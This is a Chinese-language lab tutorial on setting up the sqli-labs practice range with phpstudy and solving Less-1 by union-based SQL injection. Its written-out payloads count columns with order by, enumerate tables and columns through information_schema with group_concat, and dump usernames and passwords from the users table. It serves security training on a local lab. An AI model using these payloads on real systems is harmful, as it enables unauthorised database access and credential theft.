一、启动SQL注入的靶场
1、启动phpstudy
注:phpstudy默认的php版本为7.x,想要成功的搭建靶场,需要把php版本改为5.x
2、输入127地址加文件名
进入此界面后点击setup就行
3、进入less-1的关卡
靶场搭建成功
二、查看less-1的代码
注:此代码我是进行了修改的
三、创建数据库
这是我自己创建的一个数据库,便于操作
四、进行SQL注入
1、url中输入id=1进行查询
能查出当前数据表的第一个数据。
2、用union查询当前数据表的数据库
可以看到当前数据库为security
注:使用union联合查询必须知道当前数据表的列数,此处我写的select 1,database(),3 --+,源代码是select 1,2,3 -- +代表三列
(1)使用order by查询数据表的列数
输入存在的列数时,网页上不会显示黄色字体,代表有当前列数;当输入的是超过当前数据表的列数时,就会弹出黄色字体,如上图所示
3、查询用户密码所在的表名
mysql中为我们提供了自带的库,可以通过这几个数据库去查询需要的表名
其中是,mysql、information_schema、performance_schema、sys这几个数据库是官方自带的
我们要用的是information_schema这个数据库
进入此数据库中后show一下他所有的表,可以看到里面有一个tables的表,desc一下
就出现了table_name,这里面就存储着所有数据库的所有表名,table_schema里存储的是数据库名
因此我们在知道了数据库名的情况下,也知道了表名存储的地方就可以查出我们需要的数据库中的所有表名了
此处,我们就找到了users这个我们需要的数据表了
在php?后输入命令:id = -1' union select 1,2,table_name from information_schema.tables where table_schema = "security" --+
就得到一下画面,但这个方法只能显示security这个数据库中的一个表名
所以我们要使用group_concat()函数来把我们要查找的数据转成一列输出
id = -1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = "security" --+
就看到了我们需要的表名users
知道了数据库的名字,知道需要的表名,最后只要再知道列名就可以查到我们想要的数据了
也是再information_schema这个数据库中有一张表COLUMNS,desc一下
刚好里面有列名、表名、和数据库名
id = -1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users" --+
就可以查出列名了
知道表名和列名后,就可以查到想要的数据了
id = -1' union select 1,2,group_concat(username,0x3a,password) from users;